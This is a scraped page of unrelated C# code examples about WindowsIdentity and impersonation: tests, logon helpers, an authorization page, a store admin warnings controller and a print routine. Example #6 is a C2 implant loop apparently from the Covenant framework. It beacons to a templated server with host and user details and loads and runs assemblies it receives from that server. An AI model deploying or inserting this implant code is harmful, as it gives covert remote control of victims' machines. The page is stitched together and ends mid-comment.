public void Enter()
 {
     if (this.IsInContext) return;
     m_Token = new IntPtr(0);
     try
     {
         m_Token = IntPtr.Zero;
         bool logonSuccessfull = LogonUser(
            m_Username,
            m_Domain,
            m_Password,
            LOGON32_LOGON_INTERACTIVE,
            LOGON32_PROVIDER_DEFAULT,
            ref m_Token);
         if (logonSuccessfull == false)
         {
             int error = Marshal.GetLastWin32Error();
             throw new Win32Exception(error);
         }
         WindowsIdentity identity = new WindowsIdentity(m_Token);
         m_Context = identity.Impersonate();
     }
     catch 
     {
         throw;
     }
 }
Пример #2
0
 private static void CheckDispose(WindowsIdentity identity, bool anonymous = false)
 {
     Assert.False(identity.AccessToken.IsClosed);
     try
     {
         identity.Dispose();
     }
     catch { }
     Assert.True(identity.AccessToken.IsClosed);
     if (!anonymous)
     {
         Assert.Throws<ObjectDisposedException>(() => identity.Name);
         Assert.Throws<ObjectDisposedException>(() => identity.Owner);
         Assert.Throws<ObjectDisposedException>(() => identity.User);
     }
 }
Пример #3
0
    public static void ConstructorsAndProperties()
    {
        // Retrieve the Windows account token for the current user.
        IntPtr logonToken = WindowsIdentity.GetCurrent().AccessToken.DangerousGetHandle();

        // Construct a WindowsIdentity object using the input account token.
        WindowsIdentity windowsIdentity = new WindowsIdentity(logonToken);
        Assert.NotNull(windowsIdentity);
        CheckDispose(windowsIdentity);

        string authenticationType = "WindowsAuthentication";
        WindowsIdentity windowsIdentity2 = new WindowsIdentity(logonToken, authenticationType);
        Assert.NotNull(windowsIdentity2);
        Assert.True(windowsIdentity2.IsAuthenticated);
        Assert.Equal(authenticationType, windowsIdentity2.AuthenticationType);
        CheckDispose(windowsIdentity2);
    }
Пример #4
0
    public static void CloneAndProperties()
    {
        IntPtr logonToken = WindowsIdentity.GetCurrent().AccessToken.DangerousGetHandle();
        WindowsIdentity winId = new WindowsIdentity(logonToken);
        WindowsIdentity cloneWinId = winId.Clone() as WindowsIdentity;
        Assert.NotNull(cloneWinId);

        Assert.Equal(winId.IsSystem, cloneWinId.IsSystem);
        Assert.Equal(winId.IsGuest, cloneWinId.IsGuest);
        Assert.Equal(winId.ImpersonationLevel, cloneWinId.ImpersonationLevel);

        Assert.Equal(winId.Name, cloneWinId.Name);
        Assert.Equal(winId.Owner, cloneWinId.Owner);

        IdentityReferenceCollection irc1 = winId.Groups;
        IdentityReferenceCollection irc2 = cloneWinId.Groups;
        Assert.Equal(irc1.Count, irc2.Count);

        CheckDispose(winId);
        CheckDispose(cloneWinId);        
    }
Пример #5
0
 protected void Page_Load(object sender, EventArgs e)
 {
     IAzManStorage storage = new SqlAzManStorage(ConfigurationManager.ConnectionStrings["NetSqlAzManStorage"].ConnectionString);
     this.application = storage[ConfigurationManager.AppSettings["StoreName"]][ConfigurationManager.AppSettings["ApplicationName"]];
     //Get user Identity
     this.identity = this.Request.LogonUserIdentity;
     this.lblIAM.Text = this.identity.Name;
     //Print DateTime
     this.lblDateTime.Text = DateTime.Now.ToString();
     //Check Access on Items
     this.application.Store.Storage.OpenConnection();
     this.btnBudgetCheck.Enabled = this.checkAccessHelper("Controllo del Budget");
     this.btnCustomerRelationshipManagement.Enabled = this.checkAccessHelper("Relazioni con i Clienti");
     this.btnConstraintCheck.Enabled = this.checkAccessHelper("Controllo dei Vincoli");
     this.btnTimesheetCheck.Enabled = this.checkAccessHelper("Approvazione del TimeSheet");
     this.btnTimesheetCompile.Enabled = this.checkAccessHelper("Compilazione del Timesheet");
     this.btnDevelopment.Enabled = this.checkAccessHelper("Sviluppo");
     //Can delegate ?
     NTAccount delegatedNTAccount = new NTAccount("ProductManager1");
     SecurityIdentifier delegatedSid = (SecurityIdentifier)delegatedNTAccount.Translate(typeof(SecurityIdentifier));
     bool canDelegate = this.checkAccessForDelegationHelper("Controllo del Budget");
     bool alreadyDelegate = this.application["Controllo del Budget"].GetAuthorizations(new SqlAzManSID(this.identity.User), new SqlAzManSID(delegatedSid)).Length > 0;
     this.btnDelegateForBudgetCheck.Enabled = canDelegate && !alreadyDelegate;
     this.btnUndelegate.Enabled = canDelegate && alreadyDelegate;
     //Attributes
     IAzManAuthorization[] auths = this.application["Controllo del Budget"].GetAuthorizationsOfMember(new SqlAzManSID(this.identity.User));
     string toolTip = String.Empty;
     foreach (IAzManAuthorization auth in auths)
     {
         IAzManAttribute<IAzManAuthorization>[] attribs = auth.GetAttributes();
         foreach (IAzManAttribute<IAzManAuthorization> attrib in attribs)
         {
             toolTip += String.Format("{0} - {1}\r\n", attrib.Key, attrib.Value);
         }
     }
     this.btnBudgetCheck.ToolTip = toolTip;
     this.application.Store.Storage.CloseConnection();
 }
Пример #6
0
        public static void Execute(Aes SessionKey)
        {
            try
            {
                string        CovenantURI      = @"{{REPLACE_COVENANT_URI}}";
                string        CovenantCertHash = @"{{REPLACE_COVENANT_CERT_HASH}}";
                int           Id                      = Convert.ToInt32(@"{{REPLACE_GRUNT_ID}}");
                string        Name                    = @"{{REPLACE_GRUNT_NAME}}";
                int           Delay                   = Convert.ToInt32(@"{{REPLACE_DELAY}}");
                int           Jitter                  = Convert.ToInt32(@"{{REPLACE_JITTER}}");
                int           ConnectAttempts         = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}");
                List <string> ProfileHttpHeaderNames  = new List <string>();
                List <string> ProfileHttpHeaderValues = new List <string>();
                // {{REPLACE_PROFILE_HTTP_HEADERS}}
                List <string> ProfileHttpUrls = new List <string>();
                // {{REPLACE_PROFILE_HTTP_URLS}}
                List <string> ProfileHttpCookies = new List <string>();
                // {{REPLACE_PROFILE_HTTP_COOKIES}}
                string ProfileHttpGetResponse  = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}";
                string ProfileHttpPostRequest  = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}";
                string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}";

                string IPAddress = Dns.GetHostAddresses(Dns.GetHostName())[0].ToString();
                foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName()))
                {
                    if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
                    {
                        IPAddress = a.ToString();
                        break;
                    }
                }
                string OperatingSystem = Environment.OSVersion.ToString();
                string Process         = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
                int    Integrity       = 2;
                if (Environment.UserName.ToLower() == "system")
                {
                    Integrity = 4;
                }
                else
                {
                    var identity = WindowsIdentity.GetCurrent();
                    if (identity.Owner != identity.User)
                    {
                        Integrity = 3;
                    }
                }
                string UserDomainName = Environment.UserDomainName;
                string UserName       = Environment.UserName;

                string         RegisterBody = @"{ ""id"": " + Convert.ToString(Id) + @", ""name"": """ + Name + @""", ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""operatingSystem"": """ + OperatingSystem + @""" }";
                GruntMessenger messenger    = new GruntMessenger
                                              (
                    Id, Name, CovenantURI,
                    CovenantCertHash, SessionKey,
                    RegisterBody,
                    ProfileHttpHeaderNames, ProfileHttpHeaderValues,
                    ProfileHttpUrls, ProfileHttpCookies,
                    ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse
                                              );
                TaskHandler taskSender = new TaskHandler();
                EventHandler <TaskCompletedArgs> taskHandler = (sender, eventArgs) =>
                {
                    messenger.PostMessage(eventArgs.output, eventArgs.message.name);
                };
                taskSender.TaskCompleted += taskHandler;
                Random rnd = new Random();
                int    ConnectAttemptCount = 0;
                bool   alive = true;
                while (alive)
                {
                    Thread.Sleep((Delay + rnd.Next(Jitter)) * 1000);
                    try
                    {
                        GruntTaskingMessage message = messenger.GetMessage("");
                        if (message != null)
                        {
                            ConnectAttemptCount = 0;
                            if (message.type == GruntTaskingType.Assembly)
                            {
                                string[] pieces = message.message.Split(',');
                                if (pieces.Length > 0)
                                {
                                    object[] parameters = null;
                                    if (pieces.Length > 1)
                                    {
                                        parameters = new object[pieces.Length - 1];
                                    }
                                    for (int i = 1; i < pieces.Length; i++)
                                    {
                                        parameters [i - 1] = Encoding.UTF8.GetString(Convert.FromBase64String(pieces[i]));
                                    }
                                    byte[]   compressedBytes   = Convert.FromBase64String(pieces[0]);
                                    byte[]   decompressedBytes = Utilities.Decompress(compressedBytes);
                                    Assembly gruntTask         = Assembly.Load(decompressedBytes);
                                    new Thread(() => taskSender.ExecuteTask(gruntTask, parameters, message)).Start();
                                }
                            }
                            else if (message.type == GruntTaskingType.Set)
                            {
                                GruntSetTaskingType type = (GruntSetTaskingType)Enum.Parse(typeof(GruntSetTaskingType), message.message.Substring(0, message.message.IndexOf(',')));
                                String val = message.message.Substring(message.message.IndexOf(',') + 1);
                                if (type == GruntSetTaskingType.Delay)
                                {
                                    Delay = int.Parse(val);
                                }
                                else if (type == GruntSetTaskingType.Jitter)
                                {
                                    Jitter = int.Parse(val);
                                }
                                else if (type == GruntSetTaskingType.ConnectAttempts)
                                {
                                    ConnectAttempts = int.Parse(val);
                                }
                            }
                            else if (message.type == GruntTaskingType.Kill)
                            {
                                messenger.PostMessage("Killed", message.name);
                                return;
                            }
                        }
                    }
                    catch (Exception)
                    {
                        ConnectAttemptCount++;
                        if (ConnectAttemptCount >= ConnectAttempts)
                        {
                            return;
                        }
                    }
                }
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message); Console.Error.WriteLine(e.StackTrace); }
        }
Пример #7
0
        /// <summary>
        /// ASP.NET で偽装ユーザーのコンテキストで実行されるプロセスを生成する
        /// http://support.microsoft.com/kb/889251/ja
        /// </summary>
        /// <param name="commandLinePath">コマンドライン</param>
        /// <param name="currentDirectory">カレント・ディレクトリ</param>
        /// <param name="impersonationLevel">偽装レベル</param>
        /// <param name="errorInfo">エラー情報</param>
        /// <returns>
        /// ・true:成功
        /// ・false:失敗
        /// </returns>
        public static bool CreateProcessAsImpersonationUser(
            string commandLinePath, string currentDirectory,
            SecurityWin32.SECURITY_IMPERSONATION_LEVEL impersonationLevel, out string errorInfo)
        {
            // エラー情報の初期化
            errorInfo = "";

            // 失敗するので初期化
            if (string.IsNullOrEmpty(currentDirectory))
            {
                currentDirectory =
                    Environment.GetEnvironmentVariable(
                        "SystemRoot", EnvironmentVariableTarget.Process);
            }

            // トークン
            IntPtr token = IntPtr.Zero;
            // 継承可能にする。
            IntPtr tokenDuplicate = IntPtr.Zero;

            // 戻り値
            bool ret;

            // 偽装ユーザのアカウント・トークン
            token = WindowsIdentity.GetCurrent().Token;

            // SECURITY_ATTRIBUTES構造体
            SecurityWin32.SECURITY_ATTRIBUTES sa
                = new SecurityWin32.SECURITY_ATTRIBUTES();

            // Security Descriptor
            sa.lpSecurityDescriptor = IntPtr.Zero; // = (IntPtr)0;
            // Security Descriptorのハンドルは継承不可能
            sa.bInheritHandle = false;
            // サイズ
            sa.Length = Marshal.SizeOf(sa);

            try
            {
                // 偽装アクセストークンハンドルは、
                // CreateProcessAsUserに指定できないため、
                // DuplicateTokenExでプライマリ・トークンに変換する
                ret = SecurityWin32.DuplicateTokenEx(
                    token, (uint)SecurityWin32.ACCESS_MASK.GENERIC_ALL, ref sa,
                    (int)impersonationLevel, (int)SecurityWin32.TOKEN_TYPE.TokenPrimary, ref tokenDuplicate);

                // 戻り値判定
                if (ret)
                {
                    // true(成功)

                    // STARTUPINFO構造体
                    ProcessWin32.STARTUPINFO si = new ProcessWin32.STARTUPINFO();
                    // デスクトップ名
                    si.lpDesktop = "";
                    // サイズ
                    si.cb = Marshal.SizeOf(si);

                    // PROCESS_INFORMATION構造体
                    ProcessWin32.PROCESS_INFORMATION pi = new ProcessWin32.PROCESS_INFORMATION();

                    // 偽装可能にしたトークンを指定してプロセス起動
                    ret = ProcessWin32.CreateProcessAsUser(
                        tokenDuplicate, null, commandLinePath, ref sa, ref sa, false,
                        0, IntPtr.Zero, currentDirectory, ref si, out pi);

                    // 戻り値判定
                    if (ret)
                    {
                        // true(成功)

                        CmnWin32.CloseHandle(pi.hProcess);
                        CmnWin32.CloseHandle(pi.hThread);

                        // 偽装可能にしたトークンのハンドラを閉じる
                        ret = CmnWin32.CloseHandle(tokenDuplicate);
                    }
                    else
                    {
                        // asp.net - Running cscript.exe from C# .ashx does not execute code in vbscript file - Stack Overflow
                        // http://stackoverflow.com/questions/3842020/running-cscript-exe-from-c-sharp-ashx-does-not-execute-code-in-vbscript-file

                        // false(失敗)
                        errorInfo = "CreateProcessAsUser failed with " + Marshal.GetLastWin32Error()
                                    + ": if 1314, make sure user is a member 'Replace a process level token' Control Panel -> Administrative Tools -> Local Security Settings.";
                    }
                }
                else
                {
                    // false(失敗)
                    errorInfo = "DuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
                }
            }
            finally
            {
                // 失敗(例外発生)時など。

                // トークンハンドル、
                // 偽装アクセストークンハンドルをクローズ
                if (token != IntPtr.Zero)
                {
                    CmnWin32.CloseHandle(token);
                }
                if (tokenDuplicate != IntPtr.Zero)
                {
                    CmnWin32.CloseHandle(tokenDuplicate);
                }
            }

            // false(失敗)
            return(false);
        }
Пример #8
0
        public virtual ActionResult Warnings()
        {
            if (!_permissionService.Authorize(StandardPermissionProvider.ManageMaintenance))
            {
                return(AccessDeniedView());
            }

            var model = new List <SystemWarningModel>();

            //store URL
            var currentStoreUrl = _storeContext.CurrentStore.Url;

            if (!String.IsNullOrEmpty(currentStoreUrl) &&
                (currentStoreUrl.Equals(_webHelper.GetStoreLocation(false), StringComparison.InvariantCultureIgnoreCase)
                 ||
                 currentStoreUrl.Equals(_webHelper.GetStoreLocation(true), StringComparison.InvariantCultureIgnoreCase)
                ))
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.URL.Match")
                });
            }
            else
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Warning,
                    Text  = string.Format(_localizationService.GetResource("Admin.System.Warnings.URL.NoMatch"), currentStoreUrl, _webHelper.GetStoreLocation(false))
                });
            }


            //primary exchange rate currency
            var perCurrency = _currencyService.GetCurrencyById(_currencySettings.PrimaryExchangeRateCurrencyId);

            if (perCurrency != null)
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.ExchangeCurrency.Set"),
                });
                if (perCurrency.Rate != 1)
                {
                    model.Add(new SystemWarningModel
                    {
                        Level = SystemWarningLevel.Fail,
                        Text  = _localizationService.GetResource("Admin.System.Warnings.ExchangeCurrency.Rate1")
                    });
                }
            }
            else
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.ExchangeCurrency.NotSet")
                });
            }

            //primary store currency
            var pscCurrency = _currencyService.GetCurrencyById(_currencySettings.PrimaryStoreCurrencyId);

            if (pscCurrency != null)
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.PrimaryCurrency.Set"),
                });
            }
            else
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.PrimaryCurrency.NotSet")
                });
            }


            //base measure weight
            var bWeight = _measureService.GetMeasureWeightById(_measureSettings.BaseWeightId);

            if (bWeight != null)
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultWeight.Set"),
                });

                if (bWeight.Ratio != 1)
                {
                    model.Add(new SystemWarningModel
                    {
                        Level = SystemWarningLevel.Fail,
                        Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultWeight.Ratio1")
                    });
                }
            }
            else
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultWeight.NotSet")
                });
            }


            //base dimension weight
            var bDimension = _measureService.GetMeasureDimensionById(_measureSettings.BaseDimensionId);

            if (bDimension != null)
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultDimension.Set"),
                });

                if (bDimension.Ratio != 1)
                {
                    model.Add(new SystemWarningModel
                    {
                        Level = SystemWarningLevel.Fail,
                        Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultDimension.Ratio1")
                    });
                }
            }
            else
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultDimension.NotSet")
                });
            }

            //shipping rate coputation methods
            var srcMethods = _shippingService.LoadActiveShippingRateComputationMethods();

            if (!srcMethods.Any())
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.Shipping.NoComputationMethods")
                });
            }
            if (srcMethods.Count(x => x.ShippingRateComputationMethodType == ShippingRateComputationMethodType.Offline) > 1)
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Warning,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.Shipping.OnlyOneOffline")
                });
            }

            //payment methods
            if (_paymentService.LoadActivePaymentMethods().Any())
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.PaymentMethods.OK")
                });
            }
            else
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.PaymentMethods.NoActive")
                });
            }

            //incompatible plugins
            if (PluginManager.IncompatiblePlugins != null)
            {
                foreach (var pluginName in PluginManager.IncompatiblePlugins)
                {
                    model.Add(new SystemWarningModel
                    {
                        Level = SystemWarningLevel.Warning,
                        Text  = string.Format(_localizationService.GetResource("Admin.System.Warnings.IncompatiblePlugin"), pluginName)
                    });
                }
            }

            //performance settings
            if (!_catalogSettings.IgnoreStoreLimitations && _storeService.GetAllStores().Count == 1)
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Warning,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.Performance.IgnoreStoreLimitations")
                });
            }
            if (!_catalogSettings.IgnoreAcl)
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Warning,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.Performance.IgnoreAcl")
                });
            }

            //validate write permissions (the same procedure like during installation)
            var dirPermissionsOk = true;
            var dirsToCheck      = FilePermissionHelper.GetDirectoriesWrite();

            foreach (string dir in dirsToCheck)
            {
                if (!FilePermissionHelper.CheckPermissions(dir, false, true, true, false))
                {
                    model.Add(new SystemWarningModel
                    {
                        Level = SystemWarningLevel.Warning,
                        Text  = string.Format(_localizationService.GetResource("Admin.System.Warnings.DirectoryPermission.Wrong"), WindowsIdentity.GetCurrent().Name, dir)
                    });
                    dirPermissionsOk = false;
                }
            }
            if (dirPermissionsOk)
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.DirectoryPermission.OK")
                });
            }

            var filePermissionsOk = true;
            var filesToCheck      = FilePermissionHelper.GetFilesWrite();

            foreach (string file in filesToCheck)
            {
                if (!FilePermissionHelper.CheckPermissions(file, false, true, true, true))
                {
                    model.Add(new SystemWarningModel
                    {
                        Level = SystemWarningLevel.Warning,
                        Text  = string.Format(_localizationService.GetResource("Admin.System.Warnings.FilePermission.Wrong"), WindowsIdentity.GetCurrent().Name, file)
                    });
                    filePermissionsOk = false;
                }
            }
            if (filePermissionsOk)
            {
                model.Add(new SystemWarningModel
                {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.FilePermission.OK")
                });
            }

            //machine key
            try
            {
                var machineKeySection   = ConfigurationManager.GetSection("system.web/machineKey") as MachineKeySection;
                var machineKeySpecified = machineKeySection != null &&
                                          !String.IsNullOrEmpty(machineKeySection.DecryptionKey) &&
                                          !machineKeySection.DecryptionKey.StartsWith("AutoGenerate", StringComparison.InvariantCultureIgnoreCase);

                if (!machineKeySpecified)
                {
                    model.Add(new SystemWarningModel
                    {
                        Level = SystemWarningLevel.Warning,
                        Text  = _localizationService.GetResource("Admin.System.Warnings.MachineKey.NotSpecified")
                    });
                }
                else
                {
                    model.Add(new SystemWarningModel
                    {
                        Level = SystemWarningLevel.Pass,
                        Text  = _localizationService.GetResource("Admin.System.Warnings.MachineKey.Specified")
                    });
                }
            }
            catch (Exception exc)
            {
                LogException(exc);
            }

            return(View(model));
        }
        private bool PrintItem(PrintPageEventArgs e, IAzManItem item, int indentLevel, float parentItemX, float parentItemY)
        {
            Icon itemIcon = null;

            switch (item.ItemType)
            {
            case ItemType.Role:
                itemIcon = Properties.Resources.Role_16x16;
                break;

            case ItemType.Task:
                itemIcon = Properties.Resources.Task_16x16;
                break;

            case ItemType.Operation:
                itemIcon = Properties.Resources.Operation_16x16;
                break;
            }
            float parentParentItemX = 0.0F;
            float parentParentItemY = 0.0F;

            if (!this.alreadyPrinted.Contains(item.ItemId))
            {
                base.WriteLineString(new String('\t', indentLevel), itemIcon, String.Format("{0}{1}", item.Name, (String.IsNullOrEmpty(item.Description) ? String.Empty : String.Format(" - {0}", item.Description))), e);
                if (parentItemX == 0 || parentItemY == 0)
                {
                    parentItemX = e.Graphics.MeasureString(new String('\t', indentLevel - 1), base.font).Width + itemIcon.Size.Width / 2;
                    parentItemY = base.lastY - 1.5F;
                }
                parentParentItemX = base.lastX + itemIcon.Width / 2;
                parentParentItemY = base.lastY + itemIcon.Height + 3;
                this.alreadyPrinted.Add(item.ItemId);
                if (base.EOP)
                {
                    return(true);
                }
            }

            //Effective Permissions
            AuthorizationType authType = AuthorizationType.AllowWithDelegation;

            while (true)
            {
                if (!this.alreadyPrinted.Contains(item.ItemId.ToString() + authType.ToString()))
                {
                    Image  imageType = null;
                    string sAuthz    = String.Empty;
                    string sAuthType = String.Empty;
                    switch (authType)
                    {
                    case AuthorizationType.AllowWithDelegation: sAuthType = Globalization.MultilanguageResource.GetString("Domain_AllowWithDelegation"); imageType = Properties.Resources.AllowForDelegation; break;

                    case AuthorizationType.Allow: sAuthType = Globalization.MultilanguageResource.GetString("Domain_Allow"); imageType = Properties.Resources.Allow; break;

                    case AuthorizationType.Deny: sAuthType = Globalization.MultilanguageResource.GetString("Domain_Deny"); imageType = Properties.Resources.Deny; break;
                        //case AuthorizationType.Neutral: sAuthType = Globalization.MultilanguageResource.GetString("Domain_Neutral"); imageType = Properties.Resources.Neutral; break;
                    }
                    if (this.userIdenities == null)
                    {
                        this.userIdenities = new List <WindowsIdentity>();
                        foreach (string userUpn in this.userUPNs)
                        {
                            try
                            {
                                WindowsIdentity winId = new WindowsIdentity(userUpn);
                                this.userIdenities.Add(winId);
                            }
                            catch
                            {
                                //Invalid user (expired, locked, disabled, etc...)
                                //Do not add
                            }
                        }
                    }
                    if (this.dbUserIdentities == null)
                    {
                        this.dbUserIdentities = new List <IAzManDBUser>(item.Application.Store.Storage.GetDBUsers());
                    }
                    //Windows Users
                    foreach (WindowsIdentity wid in this.userIdenities)
                    {
                        try
                        {
                            AuthorizationType effectiveAuthorization =
                                this.storageCache.CheckAccess(item.Application.Store.Name, item.Application.Name,
                                                              item.Name, wid.GetUserBinarySSid(), wid.GetGroupsBinarySSid(),
                                                              DateTime.Now, false);
                            if (effectiveAuthorization == authType)
                            {
                                sAuthz += wid.Name + ", ";
                            }
                        }
                        catch
                        {
                            //Do nothing
                        }
                    }
                    //DB Users
                    foreach (IAzManDBUser did in this.dbUserIdentities)
                    {
                        try
                        {
                            AuthorizationType effectiveAuthorization =
                                this.storageCache.CheckAccess(item.Application.Store.Name, item.Application.Name,
                                                              item.Name, did.CustomSid.StringValue,
                                                              DateTime.Now, false);
                            if (effectiveAuthorization == authType)
                            {
                                sAuthz += did.UserName + ", ";
                            }
                        }
                        catch
                        {
                            //Do nothing
                        }
                    }
                    if (sAuthz.EndsWith(", "))
                    {
                        sAuthz = sAuthz.Remove(sAuthz.Length - 2);
                    }
                    if (!String.IsNullOrEmpty(sAuthz))
                    {
                        base.currentX = e.Graphics.MeasureString(new string('\t', indentLevel + 1), base.font).Width;
                        RectangleF   rect = new RectangleF(this.currentX, this.currentY, e.PageBounds.Width - this.currentX - e.PageBounds.Left, e.PageBounds.Height - e.PageBounds.Top);
                        StringFormat sf   = new StringFormat();
                        sf.FormatFlags = StringFormatFlags.NoClip;
                        sf.Trimming    = StringTrimming.Word;
                        if (this.currentY + this.meauseMultiLines(sAuthz, this.font, rect, sf, e) + this.spaceBetweenLines > e.PageBounds.Bottom - 70)
                        {
                            //all authz in the next page
                            return(true);
                        }
                        base.WriteLineString(new string('\t', indentLevel + 1), imageType, sAuthType.ToUpper(), e);
                        base.currentX = e.Graphics.MeasureString(new string('\t', indentLevel + 1), base.font).Width;
                        base.WriteLineString(sAuthz, e);
                        this.alreadyPrinted.Add(item.ItemId.ToString() + authType.ToString());
                        if (base.EOP)
                        {
                            return(true);
                        }
                        base.WriteLineString(" ", e);
                        if (base.EOP)
                        {
                            return(true);
                        }
                    }
                }
                bool stop = false;
                switch (authType)
                {
                case AuthorizationType.AllowWithDelegation: authType = AuthorizationType.Allow; break;

                case AuthorizationType.Allow: authType = AuthorizationType.Deny; break;

                case AuthorizationType.Deny: authType = AuthorizationType.Neutral; stop = true; break;
                    //case AuthorizationType.Neutral: stop = true; break;
                }
                if (stop)
                {
                    break;
                }

                //OLD
                //IAzManAuthorization[] authz = new IAzManAuthorization[item.Authorizations.Count];
                //string sAuthz = String.Empty;
                //Image imageType = null;
                //item.Authorizations.CopyTo(authz, 0); ;
                //if (authz.Length > 0)
                //{
                //    if (!this.alreadyPrinted.Contains(item.ItemId.ToString() + authType.ToString()))
                //    {
                //        string sAuthType = String.Empty;
                //        switch (authType)
                //        {
                //            case AuthorizationType.AllowWithDelegation: sAuthType = Globalization.MultilanguageResource.GetString("Domain_AllowWithDelegation"); imageType = Properties.Resources.AllowForDelegation; break;
                //            case AuthorizationType.Allow: sAuthType = Globalization.MultilanguageResource.GetString("Domain_Allow"); imageType = Properties.Resources.Allow; break;
                //            case AuthorizationType.Deny: sAuthType = Globalization.MultilanguageResource.GetString("Domain_Deny"); imageType = Properties.Resources.Deny; break;
                //            case AuthorizationType.Neutral: sAuthType = Globalization.MultilanguageResource.GetString("Domain_Neutral"); imageType = Properties.Resources.Neutral; break;
                //        }
                //        foreach (IAzManAuthorization auth in authz)
                //        {
                //            if (auth.AuthorizationType == authType)
                //            {
                //                string displayName = String.Empty;
                //                MemberType mt = auth.GetMemberInfo(out displayName);
                //                sAuthz += displayName + ", ";
                //            }
                //        }
                //        if (sAuthz.EndsWith(", ")) sAuthz = sAuthz.Remove(sAuthz.Length - 2);
                //        if (!String.IsNullOrEmpty(sAuthz))
                //        {
                //            base.currentX = e.Graphics.MeasureString(new string('\t', indentLevel+1), base.font).Width;
                //            RectangleF rect = new RectangleF(this.currentX, this.currentY, e.PageBounds.Width - this.currentX - e.PageBounds.Left, e.PageBounds.Height - e.PageBounds.Top);
                //            StringFormat sf = new StringFormat();
                //            sf.FormatFlags = StringFormatFlags.NoClip;
                //            sf.Trimming = StringTrimming.Word;
                //            if (this.currentY + this.meauseMultiLines(sAuthz, this.font, rect, sf, e) + this.spaceBetweenLines > e.PageBounds.Bottom - 70)
                //            {
                //                //all authz in the next page
                //                return true;
                //            }
                //            base.WriteLineString(new string('\t', indentLevel + 1), imageType, sAuthType.ToUpper(), e);
                //            base.currentX = e.Graphics.MeasureString(new string('\t', indentLevel + 1), base.font).Width;
                //            base.WriteLineString(sAuthz, e);
                //            this.alreadyPrinted.Add(item.ItemId.ToString() + authType.ToString());
                //            if (base.EOP) return true;
                //            base.WriteLineString(" ", e);
                //            if (base.EOP) return true;
                //        }
                //    }
                //}
                //bool stop = false;
                //switch (authType)
                //{
                //    case AuthorizationType.AllowWithDelegation: authType = AuthorizationType.Allow; break;
                //    case AuthorizationType.Allow: authType = AuthorizationType.Deny; break;
                //    case AuthorizationType.Deny: authType = AuthorizationType.Neutral; break;
                //    case AuthorizationType.Neutral: stop = true; break;
                //}
                //if (stop) break;
            }
            return(false);
        }
Пример #10
0
    /// <summary>
    /// 指定模擬身分
    /// </summary>
    /// <param name="userName"></param>
    /// <param name="domain"></param>
    /// <param name="password"></param>
    /// <returns></returns>
    private bool impersonateValidUser(String userName, String domain, String password)
    {
        WindowsIdentity tempWindowsIdentity;
        IntPtr token = IntPtr.Zero;
        IntPtr tokenDuplicate = IntPtr.Zero;

        if (RevertToSelf())
        {
            if (LogonUserA(userName, domain, password, LOGON32_LOGON_INTERACTIVE,
                LOGON32_PROVIDER_DEFAULT, ref token) != 0)
            {
                if (DuplicateToken(token, 2, ref tokenDuplicate) != 0)
                {
                    tempWindowsIdentity = new WindowsIdentity(tokenDuplicate);
                    impersonationContext = tempWindowsIdentity.Impersonate();
                    if (impersonationContext != null)
                    {
                        CloseHandle(token);
                        CloseHandle(tokenDuplicate);
                        return true;
                    }
                }
            }
        }
        if (token != IntPtr.Zero)
            CloseHandle(token);
        if (tokenDuplicate != IntPtr.Zero)
            CloseHandle(tokenDuplicate);
        return false;
    }
Пример #11
0
    /// <summary>
    /// Retrieves an S2S client context with an access token signed by the application's private certificate on 
